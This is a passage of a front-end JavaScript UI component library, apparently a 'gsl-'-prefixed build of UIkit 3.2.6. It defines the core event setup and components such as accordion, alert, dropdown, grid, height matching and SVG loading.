}
};
gslUIkit.disconnect = function (node) {
for (var name in node[DATA]) {
node[DATA][name]._callDisconnected();
}
};
}
function getComponentName(attribute) {
return startsWith(attribute, 'gsl-') || startsWith(attribute, 'data-gsl-')
? camelize(attribute.replace('data-gsl-', '').replace('gsl-', ''))
: false;
}
var gslUIkit = function (options) {
this._init(options);
};
gslUIkit.util = util;
gslUIkit.data = '__uikit__';
gslUIkit.prefix = 'gsl-';
gslUIkit.options = {};
gslUIkit.version = '3.2.6';
globalAPI(gslUIkit);
hooksAPI(gslUIkit);
stateAPI(gslUIkit);
componentAPI(gslUIkit);
instanceAPI(gslUIkit);
function Core (gslUIkit) {
ready(function () {
gslUIkit.update();
on(window, 'load resize', function () { return gslUIkit.update(null, 'resize'); });
on(document, 'loadedmetadata load', function (ref) {
var target = ref.target;
return gslUIkit.update(target, 'resize');
}, true);
// throttle `scroll` event (Safari triggers multiple `scroll` events per frame)
var pending;
on(window, 'scroll', function (e) {
if (pending) {
return;
}
pending = true;
fastdom.write(function () { return pending = false; });
gslUIkit.update(null, e.type);
}, {passive: true, capture: true});
var started = 0;
on(document, 'animationstart', function (ref) {
var target = ref.target;
if ((css(target, 'animationName') || '').match(/^gsl-.*(left|right)/)) {
started++;
css(document.body, 'overflowX', 'hidden');
setTimeout(function () {
if (!--started) {
css(document.body, 'overflowX', '');
}
}, toMs(css(target, 'animationDuration')) + 100);
}
}, true);
var off;
on(document, pointerDown, function (e) {
off && off();
if (!isTouch(e)) {
return;
}
// Handle Swipe Gesture
var pos = getEventPos(e);
var target = 'tagName' in e.target ? e.target : e.target.parentNode;
off = once(document, (pointerUp + " " + pointerCancel), function (e) {
var ref = getEventPos(e);
var x = ref.x;
var y = ref.y;
// swipe
if (target && x && Math.abs(pos.x - x) > 100 || y && Math.abs(pos.y - y) > 100) {
setTimeout(function () {
trigger(target, 'swipe');
trigger(target, ("swipe" + (swipeDirection(pos.x, pos.y, x, y))));
});
}
});
// Force click event anywhere on iOS < 13
if (pointerDown === 'touchstart') {
css(document.body, 'cursor', 'pointer');
once(document, (pointerUp + " " + pointerCancel), function () { return setTimeout(function () { return css(document.body, 'cursor', ''); }
, 50); }
);
}
}, {passive: true});
});
}
function swipeDirection(x1, y1, x2, y2) {
return Math.abs(x1 - x2) >= Math.abs(y1 - y2)
? x1 - x2 > 0
? 'Left'
: 'Right'
: y1 - y2 > 0
? 'Up'
: 'Down';
}
function boot (gslUIkit) {
var connect = gslUIkit.connect;
var disconnect = gslUIkit.disconnect;
if (!('MutationObserver' in window)) {
return;
}
fastdom.read(init);
function init() {
if (document.body) {
apply(document.body, connect);
}
(new MutationObserver(function (mutations) { return mutations.forEach(applyMutation); })).observe(document, {
childList: true,
subtree: true,
characterData: true,
attributes: true
});
gslUIkit._initialized = true;
}
function applyMutation(mutation) {
var target = mutation.target;
var type = mutation.type;
var update = type !== 'attributes'
? applyChildList(mutation)
: applyAttribute(mutation);
update && gslUIkit.update(target);
}
function applyAttribute(ref) {
var target = ref.target;
var attributeName = ref.attributeName;
if (attributeName === 'href') {
return true;
}
var name = getComponentName(attributeName);
if (!name || !(name in gslUIkit)) {
return;
}
if (hasAttr(target, attributeName)) {
gslUIkit[name](target);
return true;
}
var component = gslUIkit.getComponent(target, name);
if (component) {
component.$destroy();
return true;
}
}
function applyChildList(ref) {
var addedNodes = ref.addedNodes;
var removedNodes = ref.removedNodes;
for (var i = 0; i < addedNodes.length; i++) {
apply(addedNodes[i], connect);
}
for (var i$1 = 0; i$1 < removedNodes.length; i$1++) {
apply(removedNodes[i$1], disconnect);
}
return true;
}
}
var Class = {
connected: function() {
!hasClass(this.$el, this.$name) && addClass(this.$el, this.$name);
}
};
var Togglable = {
props: {
cls: Boolean,
animation: 'list',
duration: Number,
origin: String,
transition: String,
queued: Boolean
},
data: {
cls: false,
animation: [false],
duration: 200,
origin: false,
transition: 'linear',
queued: false,
initProps: {
overflow: '',
height: '',
paddingTop: '',
paddingBottom: '',
marginTop: '',
marginBottom: ''
},
hideProps: {
overflow: 'hidden',
height: 0,
paddingTop: 0,
paddingBottom: 0,
marginTop: 0,
marginBottom: 0
}
},
computed: {
hasAnimation: function(ref) {
var animation = ref.animation;
return !!animation[0];
},
hasTransition: function(ref) {
var animation = ref.animation;
return this.hasAnimation && animation[0] === true;
}
},
methods: {
toggleElement: function(targets, show, animate) {
var this$1 = this;
return new Promise(function (resolve) {
targets = toNodes(targets);
var all = function (targets) { return Promise.all(targets.map(function (el) { return this$1._toggleElement(el, show, animate); })); };
var p;
if (!this$1.queued || !isUndefined(animate) || !isUndefined(show) || !this$1.hasAnimation || targets.length < 2) {
p = all(targets);
} else {
var toggled = targets.filter(function (el) { return this$1.isToggled(el); });
var untoggled = targets.filter(function (el) { return !includes(toggled, el); });
var body = document.body;
var scroll = body.scrollTop;
var el = toggled[0];
var inProgress = Animation.inProgress(el) && hasClass(el, 'gsl-animation-leave')
|| Transition.inProgress(el) && el.style.height === '0px';
p = all(toggled);
if (!inProgress) {
p = p.then(function () {
var p = all(untoggled);
body.scrollTop = scroll;
return p;
});
}
}
p.then(resolve, noop);
});
},
toggleNow: function(targets, show) {
return this.toggleElement(targets, show, false);
},
isToggled: function(el) {
var nodes = toNodes(el || this.$el);
return this.cls
? hasClass(nodes, this.cls.split(' ')[0])
: !hasAttr(nodes, 'hidden');
},
updateAria: function(el) {
if (this.cls === false) {
attr(el, 'aria-hidden', !this.isToggled(el));
}
},
_toggleElement: function(el, show, animate) {
var this$1 = this;
show = isBoolean(show)
? show
: Animation.inProgress(el)
? hasClass(el, 'gsl-animation-leave')
: Transition.inProgress(el)
? el.style.height === '0px'
: !this.isToggled(el);
if (!trigger(el, ("before" + (show ? 'show' : 'hide')), [this])) {
return Promise.reject();
}
var promise = (
isFunction(animate)
? animate
: animate === false || !this.hasAnimation
? this._toggle
: this.hasTransition
? toggleHeight(this)
: toggleAnimation(this)
)(el, show);
trigger(el, show ? 'show' : 'hide', [this]);
var final = function () {
trigger(el, show ? 'shown' : 'hidden', [this$1]);
this$1.$update(el);
};
return promise ? promise.then(final) : Promise.resolve(final());
},
_toggle: function(el, toggled) {
if (!el) {
return;
}
toggled = Boolean(toggled);
var changed;
if (this.cls) {
changed = includes(this.cls, ' ') || toggled !== hasClass(el, this.cls);
changed && toggleClass(el, this.cls, includes(this.cls, ' ') ? undefined : toggled);
} else {
changed = toggled === hasAttr(el, 'hidden');
changed && attr(el, 'hidden', !toggled ? '' : null);
}
$$('[autofocus]', el).some(function (el) { return isVisible(el) ? el.focus() || true : el.blur(); });
this.updateAria(el);
changed && this.$update(el);
}
}
};
function toggleHeight(ref) {
var isToggled = ref.isToggled;
var duration = ref.duration;
var initProps = ref.initProps;
var hideProps = ref.hideProps;
var transition = ref.transition;
var _toggle = ref._toggle;
return function (el, show) {
var inProgress = Transition.inProgress(el);
var inner = el.hasChildNodes ? toFloat(css(el.firstElementChild, 'marginTop')) + toFloat(css(el.lastElementChild, 'marginBottom')) : 0;
var currentHeight = isVisible(el) ? height(el) + (inProgress ? 0 : inner) : 0;
Transition.cancel(el);
if (!isToggled(el)) {
_toggle(el, true);
}
height(el, '');
// Update child components first
fastdom.flush();
var endHeight = height(el) + (inProgress ? 0 : inner);
height(el, currentHeight);
return (show
? Transition.start(el, assign({}, initProps, {overflow: 'hidden', height: endHeight}), Math.round(duration * (1 - currentHeight / endHeight)), transition)
: Transition.start(el, hideProps, Math.round(duration * (currentHeight / endHeight)), transition).then(function () { return _toggle(el, false); })
).then(function () { return css(el, initProps); });
};
}
function toggleAnimation(ref) {
var animation = ref.animation;
var duration = ref.duration;
var origin = ref.origin;
var _toggle = ref._toggle;
return function (el, show) {
Animation.cancel(el);
if (show) {
_toggle(el, true);
return Animation.in(el, animation[0], duration, origin);
}
return Animation.out(el, animation[1] || animation[0], duration, origin).then(function () { return _toggle(el, false); });
};
}
var Accordion = {
mixins: [Class, Togglable],
props: {
targets: String,
active: null,
collapsible: Boolean,
multiple: Boolean,
toggle: String,
content: String,
transition: String
},
data: {
targets: '> *',
active: false,
animation: [true],
collapsible: true,
multiple: false,
clsOpen: 'gsl-open',
toggle: '> .gsl-accordion-title',
content: '> .gsl-accordion-content',
transition: 'ease'
},
computed: {
items: function(ref, $el) {
var targets = ref.targets;
return $$(targets, $el);
}
},
events: [
{
name: 'click',
delegate: function() {
return ((this.targets) + " " + (this.$props.toggle));
},
handler: function(e) {
e.preventDefault();
this.toggle(index($$(((this.targets) + " " + (this.$props.toggle)), this.$el), e.current));
}
}
],
connected: function() {
if (this.active === false) {
return;
}
var active = this.items[Number(this.active)];
if (active && !hasClass(active, this.clsOpen)) {
this.toggle(active, false);
}
},
update: function() {
var this$1 = this;
this.items.forEach(function (el) { return this$1._toggle($(this$1.content, el), hasClass(el, this$1.clsOpen)); });
var active = !this.collapsible && !hasClass(this.items, this.clsOpen) && this.items[0];
if (active) {
this.toggle(active, false);
}
},
methods: {
toggle: function(item, animate) {
var this$1 = this;
var index = getIndex(item, this.items);
var active = filter(this.items, ("." + (this.clsOpen)));
item = this.items[index];
item && [item]
.concat(!this.multiple && !includes(active, item) && active || [])
.forEach(function (el) {
var isItem = el === item;
var state = isItem && !hasClass(el, this$1.clsOpen);
if (!state && isItem && !this$1.collapsible && active.length < 2) {
return;
}
toggleClass(el, this$1.clsOpen, state);
var content = el._wrapper ? el._wrapper.firstElementChild : $(this$1.content, el);
if (!el._wrapper) {
el._wrapper = wrapAll(content, '<div>');
attr(el._wrapper, 'hidden', state ? '' : null);
}
this$1._toggle(content, true);
this$1.toggleElement(el._wrapper, state, animate).then(function () {
if (hasClass(el, this$1.clsOpen) !== state) {
return;
}
if (!state) {
this$1._toggle(content, false);
} else {
var toggle = $(this$1.$props.toggle, el);
if (animate !== false && !isInView(toggle)) {
scrollIntoView(toggle);
}
}
el._wrapper = null;
unwrap(content);
});
});
}
}
};
var alert = {
mixins: [Class, Togglable],
args: 'animation',
props: {
close: String
},
data: {
animation: [true],
selClose: '.gsl-alert-close',
duration: 150,
hideProps: assign({opacity: 0}, Togglable.data.hideProps)
},
events: [
{
name: 'click',
delegate: function() {
return this.selClose;
},
handler: function(e) {
e.preventDefault();
this.close();
}
}
],
methods: {
close: function() {
var this$1 = this;
this.toggleElement(this.$el).then(function () { return this$1.$destroy(true); });
}
}
};
var Video = {
args: 'autoplay',
props: {
automute: Boolean,
autoplay: Boolean
},
data: {
automute: false,
autoplay: true
},
computed: {
inView: function(ref) {
var autoplay = ref.autoplay;
return autoplay === 'inview';
}
},
connected: function() {
if (this.inView && !hasAttr(this.$el, 'preload')) {
this.$el.preload = 'none';
}
this.player = new Player(this.$el);
if (this.automute) {
this.player.mute();
}
},
update: {
read: function() {
return !this.player
? false
: {
visible: isVisible(this.$el) && css(this.$el, 'visibility') !== 'hidden',
inView: this.inView && isInView(this.$el)
};
},
write: function(ref) {
var visible = ref.visible;
var inView = ref.inView;
if (!visible || this.inView && !inView) {
this.player.pause();
} else if (this.autoplay === true || this.inView && inView) {
this.player.play();
}
},
events: ['resize', 'scroll']
}
};
var cover = {
mixins: [Class, Video],
props: {
width: Number,
height: Number
},
data: {
automute: true
},
update: {
read: function() {
var el = this.$el;
var ref = el.parentNode;
var height = ref.offsetHeight;
var width = ref.offsetWidth;
var dim = Dimensions.cover(
{
width: this.width || el.naturalWidth || el.videoWidth || el.clientWidth,
height: this.height || el.naturalHeight || el.videoHeight || el.clientHeight
},
{
width: width + (width % 2 ? 1 : 0),
height: height + (height % 2 ? 1 : 0)
}
);
if (!dim.width || !dim.height) {
return false;
}
return dim;
},
write: function(ref) {
var height = ref.height;
var width = ref.width;
css(this.$el, {height: height, width: width});
},
events: ['resize']
}
};
var Position = {
props: {
pos: String,
offset: null,
flip: Boolean,
clsPos: String
},
data: {
pos: ("bottom-" + (!isRtl ? 'left' : 'right')),
flip: true,
offset: false,
clsPos: ''
},
computed: {
pos: function(ref) {
var pos = ref.pos;
return (pos + (!includes(pos, '-') ? '-center' : '')).split('-');
},
dir: function() {
return this.pos[0];
},
align: function() {
return this.pos[1];
}
},
methods: {
positionAt: function(element, target, boundary) {
removeClasses(element, ((this.clsPos) + "-(top|bottom|left|right)(-[a-z]+)?"));
css(element, {top: '', left: ''});
var node;
var ref = this;
var offset$1 = ref.offset;
var axis = this.getAxis();
if (!isNumeric(offset$1)) {
node = $(offset$1);
offset$1 = node
? offset(node)[axis === 'x' ? 'left' : 'top'] - offset(target)[axis === 'x' ? 'right' : 'bottom']
: 0;
}
var ref$1 = positionAt(
element,
target,
axis === 'x' ? ((flipPosition(this.dir)) + " " + (this.align)) : ((this.align) + " " + (flipPosition(this.dir))),
axis === 'x' ? ((this.dir) + " " + (this.align)) : ((this.align) + " " + (this.dir)),
axis === 'x' ? ("" + (this.dir === 'left' ? -offset$1 : offset$1)) : (" " + (this.dir === 'top' ? -offset$1 : offset$1)),
null,
this.flip,
boundary
).target;
var x = ref$1.x;
var y = ref$1.y;
this.dir = axis === 'x' ? x : y;
this.align = axis === 'x' ? y : x;
toggleClass(element, ((this.clsPos) + "-" + (this.dir) + "-" + (this.align)), this.offset === false);
},
getAxis: function() {
return this.dir === 'top' || this.dir === 'bottom' ? 'y' : 'x';
}
}
};
var active;
var Drop = {
mixins: [Position, Togglable],
args: 'pos',
props: {
mode: 'list',
toggle: Boolean,
boundary: Boolean,
boundaryAlign: Boolean,
delayShow: Number,
delayHide: Number,
clsDrop: String
},
data: {
mode: ['click', 'hover'],
toggle: '- *',
boundary: window,
boundaryAlign: false,
delayShow: 0,
delayHide: 800,
clsDrop: false,
animation: ['gsl-animation-fade'],
cls: 'gsl-open'
},
computed: {
boundary: function(ref, $el) {
var boundary = ref.boundary;
return query(boundary, $el);
},
clsDrop: function(ref) {
var clsDrop = ref.clsDrop;
return clsDrop || ("gsl-" + (this.$options.name));
},
clsPos: function() {
return this.clsDrop;
}
},
created: function() {
this.tracker = new MouseTracker();
},
connected: function() {
addClass(this.$el, this.clsDrop);
var ref = this.$props;
var toggle = ref.toggle;
this.toggle = toggle && this.$create('toggle', query(toggle, this.$el), {
target: this.$el,
mode: this.mode
});
!this.toggle && trigger(this.$el, 'updatearia');
},
events: [
{
name: 'click',
delegate: function() {
return ("." + (this.clsDrop) + "-close");
},
handler: function(e) {
e.preventDefault();
this.hide(false);
}
},
{
name: 'click',
delegate: function() {
return 'a[href^="#"]';
},
handler: function(ref) {
var defaultPrevented = ref.defaultPrevented;
var hash = ref.current.hash;
if (!defaultPrevented && hash && !within(hash, this.$el)) {
this.hide(false);
}
}
},
{
name: 'beforescroll',
handler: function() {
this.hide(false);
}
},
{
name: 'toggle',
self: true,
handler: function(e, toggle) {
e.preventDefault();
if (this.isToggled()) {
this.hide(false);
} else {
this.show(toggle, false);
}
}
},
{
name: 'toggleshow',
self: true,
handler: function(e, toggle) {
e.preventDefault();
this.show(toggle);
}
},
{
name: 'togglehide',
self: true,
handler: function(e) {
e.preventDefault();
this.hide();
}
},
{
name: pointerEnter,
filter: function() {
return includes(this.mode, 'hover');
},
handler: function(e) {
if (!isTouch(e)) {
this.clearTimers();
}
}
},
{
name: pointerLeave,
filter: function() {
return includes(this.mode, 'hover');
},
handler: function(e) {
if (!isTouch(e) && !matches(this.$el, ':hover')) {
this.hide();
}
}
},
{
name: 'beforeshow',
self: true,
handler: function() {
this.clearTimers();
Animation.cancel(this.$el);
this.position();
}
},
{
name: 'show',
self: true,
handler: function() {
var this$1 = this;
active = this;
this.tracker.init();
trigger(this.$el, 'updatearia');
// If triggered from an click event handler, delay adding the click handler
var off = delayOn(document, 'click', function (ref) {
var defaultPrevented = ref.defaultPrevented;
var target = ref.target;
if (!defaultPrevented && !within(target, this$1.$el) && !(this$1.toggle && within(target, this$1.toggle.$el))) {
this$1.hide(false);
}
});
once(this.$el, 'hide', off, {self: true});
}
},
{
name: 'beforehide',
self: true,
handler: function() {
this.clearTimers();
}
},
{
name: 'hide',
handler: function(ref) {
var target = ref.target;
if (this.$el !== target) {
active = active === null && within(target, this.$el) && this.isToggled() ? this : active;
return;
}
active = this.isActive() ? null : active;
trigger(this.$el, 'updatearia');
this.tracker.cancel();
}
},
{
name: 'updatearia',
self: true,
handler: function(e, toggle) {
e.preventDefault();
this.updateAria(this.$el);
if (toggle || this.toggle) {
attr((toggle || this.toggle).$el, 'aria-expanded', this.isToggled());
toggleClass(this.toggle.$el, this.cls, this.isToggled());
}
}
}
],
update: {
write: function() {
if (this.isToggled() && !Animation.inProgress(this.$el)) {
this.position();
}
},
events: ['resize']
},
methods: {
show: function(toggle, delay) {
var this$1 = this;
if ( toggle === void 0 ) toggle = this.toggle;
if ( delay === void 0 ) delay = true;
if (this.isToggled() && toggle && this.toggle && toggle.$el !== this.toggle.$el) {
this.hide(false);
}
this.toggle = toggle;
this.clearTimers();
if (this.isActive()) {
return;
}
if (active) {
if (delay && active.isDelaying) {
this.showTimer = setTimeout(this.show, 10);
return;
}
while (active && !within(this.$el, active.$el)) {
active.hide(false);
}
}
this.showTimer = setTimeout(function () { return !this$1.isToggled() && this$1.toggleElement(this$1.$el, true); }, delay && this.delayShow || 0);
},
hide: function(delay) {
var this$1 = this;
if ( delay === void 0 ) delay = true;
var hide = function () { return this$1.toggleNow(this$1.$el, false); };
this.clearTimers();
this.isDelaying = getPositionedElements(this.$el).some(function (el) { return this$1.tracker.movesTo(el); });
if (delay && this.isDelaying) {
this.hideTimer = setTimeout(this.hide, 50);
} else if (delay && this.delayHide) {
this.hideTimer = setTimeout(hide, this.delayHide);
} else {
hide();
}
},
clearTimers: function() {
clearTimeout(this.showTimer);
clearTimeout(this.hideTimer);
this.showTimer = null;
this.hideTimer = null;
this.isDelaying = false;
},
isActive: function() {
return active === this;
},
position: function() {
removeClasses(this.$el, ((this.clsDrop) + "-(stack|boundary)"));
css(this.$el, {top: '', left: '', display: 'block'});
toggleClass(this.$el, ((this.clsDrop) + "-boundary"), this.boundaryAlign);
var boundary = offset(this.boundary);
var alignTo = this.boundaryAlign ? boundary : offset(this.toggle.$el);
if (this.align === 'justify') {
var prop = this.getAxis() === 'y' ? 'width' : 'height';
css(this.$el, prop, alignTo[prop]);
} else if (this.$el.offsetWidth > Math.max(boundary.right - alignTo.left, alignTo.right - boundary.left)) {
addClass(this.$el, ((this.clsDrop) + "-stack"));
}
this.positionAt(this.$el, this.boundaryAlign ? this.boundary : this.toggle.$el, this.boundary);
css(this.$el, 'display', '');
}
}
};
function getPositionedElements(el) {
var result = css(el, 'position') !== 'static' ? [el] : [];
return result.concat.apply(result, children(el).map(getPositionedElements));
}
function delayOn(el, type, fn) {
var off = once(el, type, function () { return off = on(el, type, fn); }
, true);
return function () { return off(); };
}
var dropdown = {
extends: Drop
};
var formCustom = {
mixins: [Class],
args: 'target',
props: {
target: Boolean
},
data: {
target: false
},
computed: {
input: function(_, $el) {
return $(selInput, $el);
},
state: function() {
return this.input.nextElementSibling;
},
target: function(ref, $el) {
var target = ref.target;
return target && (target === true
&& this.input.parentNode === $el
&& this.input.nextElementSibling
|| query(target, $el));
}
},
update: function() {
var ref = this;
var target = ref.target;
var input = ref.input;
if (!target) {
return;
}
var option;
var prop = isInput(target) ? 'value' : 'textContent';
var prev = target[prop];
var value = input.files && input.files[0]
? input.files[0].name
: matches(input, 'select') && (option = $$('option', input).filter(function (el) { return el.selected; })[0]) // eslint-disable-line prefer-destructuring
? option.textContent
: input.value;
if (prev !== value) {
target[prop] = value;
}
},
events: [
{
name: 'change',
handler: function() {
this.$emit();
}
},
{
name: 'reset',
el: function() {
return closest(this.$el, 'form');
},
handler: function() {
this.$emit();
}
}
]
};
// Deprecated
var gif = {
update: {
read: function(data) {
var inview = isInView(this.$el);
if (!inview || data.isInView === inview) {
return false;
}
data.isInView = inview;
},
write: function() {
this.$el.src = this.$el.src;
},
events: ['scroll', 'resize']
}
};
var Margin = {
props: {
margin: String,
firstColumn: Boolean
},
data: {
margin: 'gsl-margin-small-top',
firstColumn: 'gsl-first-column'
},
update: {
read: function(data) {
var items = this.$el.children;
var rows = [[]];
if (!items.length || !isVisible(this.$el)) {
return data.rows = rows;
}
data.rows = getRows(items);
data.stacks = !data.rows.some(function (row) { return row.length > 1; });
},
write: function(ref) {
var this$1 = this;
var rows = ref.rows;
rows.forEach(function (row, i) { return row.forEach(function (el, j) {
toggleClass(el, this$1.margin, i !== 0);
toggleClass(el, this$1.firstColumn, j === 0);
}); }
);
},
events: ['resize']
}
};
function getRows(items) {
var rows = [[]];
for (var i = 0; i < items.length; i++) {
var el = items[i];
var dim = getOffset(el);
if (!dim.height) {
continue;
}
for (var j = rows.length - 1; j >= 0; j--) {
var row = rows[j];
if (!row[0]) {
row.push(el);
break;
}
var leftDim = (void 0);
if (row[0].offsetParent === el.offsetParent) {
leftDim = getOffset(row[0]);
} else {
dim = getOffset(el, true);
leftDim = getOffset(row[0], true);
}
if (dim.top >= leftDim.bottom - 1 && dim.top !== leftDim.top) {
rows.push([el]);
break;
}
if (dim.bottom > leftDim.top) {
if (dim.left < leftDim.left && !isRtl) {
row.unshift(el);
break;
}
row.push(el);
break;
}
if (j === 0) {
rows.unshift([el]);
break;
}
}
}
return rows;
}
function getOffset(element, offset) {
var assign;
if ( offset === void 0 ) offset = false;
var offsetTop = element.offsetTop;
var offsetLeft = element.offsetLeft;
var offsetHeight = element.offsetHeight;
if (offset) {
(assign = offsetPosition(element), offsetTop = assign[0], offsetLeft = assign[1]);
}
return {
top: offsetTop,
left: offsetLeft,
height: offsetHeight,
bottom: offsetTop + offsetHeight
};
}
var grid = {
extends: Margin,
mixins: [Class],
name: 'grid',
props: {
masonry: Boolean,
parallax: Number
},
data: {
margin: 'gsl-grid-margin',
clsStack: 'gsl-grid-stack',
masonry: false,
parallax: 0
},
computed: {
length: function(_, $el) {
return $el.children.length;
},
parallax: function(ref) {
var parallax = ref.parallax;
return parallax && this.length ? Math.abs(parallax) : '';
}
},
connected: function() {
this.masonry && addClass(this.$el, 'gsl-flex-top gsl-flex-wrap-top');
},
update: [
{
write: function(ref) {
var stacks = ref.stacks;
toggleClass(this.$el, this.clsStack, stacks);
},
events: ['resize']
},
{
read: function(ref) {
var rows = ref.rows;
if (this.masonry || this.parallax) {
rows = rows.map(function (elements) { return sortBy(elements, 'offsetLeft'); });
if (isRtl) {
rows.map(function (row) { return row.reverse(); });
}
} else {
return false;
}
var transitionInProgress = rows.some(function (elements) { return elements.some(Transition.inProgress); });
var translates = false;
var elHeight = '';
if (this.masonry && this.length) {
var height = 0;
translates = rows.reduce(function (translates, row, i) {
translates[i] = row.map(function (_, j) { return i === 0 ? 0 : toFloat(translates[i - 1][j]) + (height - toFloat(rows[i - 1][j] && rows[i - 1][j].offsetHeight)); });
height = row.reduce(function (height, el) { return Math.max(height, el.offsetHeight); }, 0);
return translates;
}, []);
elHeight = maxColumnHeight(rows) + getMarginTop(this.$el, this.margin) * (rows.length - 1);
}
var padding = this.parallax && getPaddingBottom(this.parallax, rows, translates);
return {padding: padding, rows: rows, translates: translates, height: !transitionInProgress ? elHeight : false};
},
write: function(ref) {
var stacks = ref.stacks;
var height = ref.height;
var padding = ref.padding;
toggleClass(this.$el, this.clsStack, stacks);
css(this.$el, 'paddingBottom', padding);
height !== false && css(this.$el, 'height', height);
},
events: ['resize']
},
{
read: function(ref) {
var height$1 = ref.height;
return {
scrolled: this.parallax
? scrolledOver(this.$el, height$1 ? height$1 - height(this.$el) : 0) * this.parallax
: false
};
},
write: function(ref) {
var rows = ref.rows;
var scrolled = ref.scrolled;
var translates = ref.translates;
if (scrolled === false && !translates) {
return;
}
rows.forEach(function (row, i) { return row.forEach(function (el, j) { return css(el, 'transform', !scrolled && !translates ? '' : ("translateY(" + ((translates && -translates[i][j]) + (scrolled ? j % 2 ? scrolled : scrolled / 8 : 0)) + "px)")); }
); }
);
},
events: ['scroll', 'resize']
}
]
};
function getPaddingBottom(distance, rows, translates) {
var column = 0;
var max = 0;
var maxScrolled = 0;
for (var i = rows.length - 1; i >= 0; i--) {
for (var j = column; j < rows[i].length; j++) {
var el = rows[i][j];
var bottom = el.offsetTop + height(el) + (translates && -translates[i][j]);
max = Math.max(max, bottom);
maxScrolled = Math.max(maxScrolled, bottom + (j % 2 ? distance : distance / 8));
column++;
}
}
return maxScrolled - max;
}
function getMarginTop(root, cls) {
var nodes = children(root);
var ref = nodes.filter(function (el) { return hasClass(el, cls); });
var node = ref[0];
return toFloat(node
? css(node, 'marginTop')
: css(nodes[0], 'paddingLeft'));
}
function maxColumnHeight(rows) {
return Math.max.apply(Math, rows.reduce(function (sum, row) {
row.forEach(function (el, i) { return sum[i] = (sum[i] || 0) + el.offsetHeight; });
return sum;
}, []));
}
// IE 11 fix (min-height on a flex container won't apply to its flex items)
var FlexBug = isIE ? {
props: {
selMinHeight: String
},
data: {
selMinHeight: false,
forceHeight: false
},
computed: {
elements: function(ref, $el) {
var selMinHeight = ref.selMinHeight;
return selMinHeight ? $$(selMinHeight, $el) : [$el];
}
},
update: [
{
read: function() {
css(this.elements, 'height', '');
},
order: -5,
events: ['resize']
},
{
write: function() {
var this$1 = this;
this.elements.forEach(function (el) {
var height = toFloat(css(el, 'minHeight'));
if (height && (this$1.forceHeight || Math.round(height + boxModelAdjust(el, 'height', 'content-box')) >= el.offsetHeight)) {
css(el, 'height', height);
}
});
},
order: 5,
events: ['resize']
}
]
} : {};
var heightMatch = {
mixins: [FlexBug],
args: 'target',
props: {
target: String,
row: Boolean
},
data: {
target: '> *',
row: true,
forceHeight: true
},
computed: {
elements: function(ref, $el) {
var target = ref.target;
return $$(target, $el);
}
},
update: {
read: function() {
return {
rows: (this.row ? getRows(this.elements) : [this.elements]).map(match)
};
},
write: function(ref) {
var rows = ref.rows;
rows.forEach(function (ref) {
var heights = ref.heights;
var elements = ref.elements;
return elements.forEach(function (el, i) { return css(el, 'minHeight', heights[i]); }
);
}
);
},
events: ['resize']
}
};
function match(elements) {
var assign;
if (elements.length < 2) {
return {heights: [''], elements: elements};
}
var ref = getHeights(elements);
var heights = ref.heights;
var max = ref.max;
var hasMinHeight = elements.some(function (el) { return el.style.minHeight; });
var hasShrunk = elements.some(function (el, i) { return !el.style.minHeight && heights[i] < max; });
if (hasMinHeight && hasShrunk) {
css(elements, 'minHeight', '');
((assign = getHeights(elements), heights = assign.heights, max = assign.max));
}
heights = elements.map(function (el, i) { return heights[i] === max && toFloat(el.style.minHeight).toFixed(2) !== max.toFixed(2) ? '' : max; }
);
return {heights: heights, elements: elements};
}
function getHeights(elements) {
var heights = elements.map(function (el) { return offset(el).height - boxModelAdjust(el, 'height', 'content-box'); });
var max = Math.max.apply(null, heights);
return {heights: heights, max: max};
}
var heightViewport = {
mixins: [FlexBug],
props: {
expand: Boolean,
offsetTop: Boolean,
offsetBottom: Boolean,
minHeight: Number
},
data: {
expand: false,
offsetTop: false,
offsetBottom: false,
minHeight: 0
},
update: {
read: function(ref) {
var prev = ref.minHeight;
if (!isVisible(this.$el)) {
return false;
}
var minHeight = '';
var box = boxModelAdjust(this.$el, 'height', 'content-box');
if (this.expand) {
this.$el.dataset.heightExpand = '';
if ($('[data-height-expand]') !== this.$el) {
return false;
}
minHeight = height(window) - (offsetHeight(document.documentElement) - offsetHeight(this.$el)) - box || '';
} else {
// on mobile devices (iOS and Android) window.innerHeight !== 100vh
minHeight = 'calc(100vh';
if (this.offsetTop) {
var ref$1 = offset(this.$el);
var top = ref$1.top;
minHeight += top > 0 && top < height(window) / 2 ? (" - " + top + "px") : '';
}
if (this.offsetBottom === true) {
minHeight += " - " + (offsetHeight(this.$el.nextElementSibling)) + "px";
} else if (isNumeric(this.offsetBottom)) {
minHeight += " - " + (this.offsetBottom) + "vh";
} else if (this.offsetBottom && endsWith(this.offsetBottom, 'px')) {
minHeight += " - " + (toFloat(this.offsetBottom)) + "px";
} else if (isString(this.offsetBottom)) {
minHeight += " - " + (offsetHeight(query(this.offsetBottom, this.$el))) + "px";
}
minHeight += (box ? (" - " + box + "px") : '') + ")";
}
return {minHeight: minHeight, prev: prev};
},
write: function(ref) {
var minHeight = ref.minHeight;
var prev = ref.prev;
css(this.$el, {minHeight: minHeight});
if (minHeight !== prev) {
this.$update(this.$el, 'resize');
}
if (this.minHeight && toFloat(css(this.$el, 'minHeight')) < this.minHeight) {
css(this.$el, 'minHeight', this.minHeight);
}
},
events: ['resize']
}
};
function offsetHeight(el) {
return el && offset(el).height || 0;
}
var SVG = {
args: 'src',
props: {
id: Boolean,
icon: String,
src: String,
style: String,
width: Number,
height: Number,
ratio: Number,
class: String,
strokeAnimation: Boolean,
focusable: Boolean, // IE 11
attributes: 'list'
},
data: {
ratio: 1,
include: ['style', 'class', 'focusable'],
class: '',
strokeAnimation: false
},
beforeConnect: function() {
var this$1 = this;
var assign;
this.class += ' gsl-svg';
if (!this.icon && includes(this.src, '#')) {
var parts = this.src.split('#');
if (parts.length > 1) {
(assign = parts, this.src = assign[0], this.icon = assign[1]);
}
}
this.svg = this.getSvg().then(function (el) {
this$1.applyAttributes(el);
return this$1.svgEl = insertSVG(el, this$1.$el);
}, noop);
},
disconnected: function() {
var this$1 = this;
if (isVoidElement(this.$el)) {
attr(this.$el, 'hidden', null);
}
if (this.svg) {
this.svg.then(function (svg) { return (!this$1._connected || svg !== this$1.svgEl) && remove(svg); }, noop);
}
this.svg = this.svgEl = null;
},
update: {
read: function() {
return !!(this.strokeAnimation && this.svgEl && isVisible(this.svgEl));
},
write: function() {
applyAnimation(this.svgEl);
},
type: ['resize']
},
methods: {
getSvg: function() {
var this$1 = this;
return loadSVG(this.src).then(function (svg) { return parseSVG(svg, this$1.icon) || Promise.reject('SVG not found.'); }
);
},
applyAttributes: function(el) {
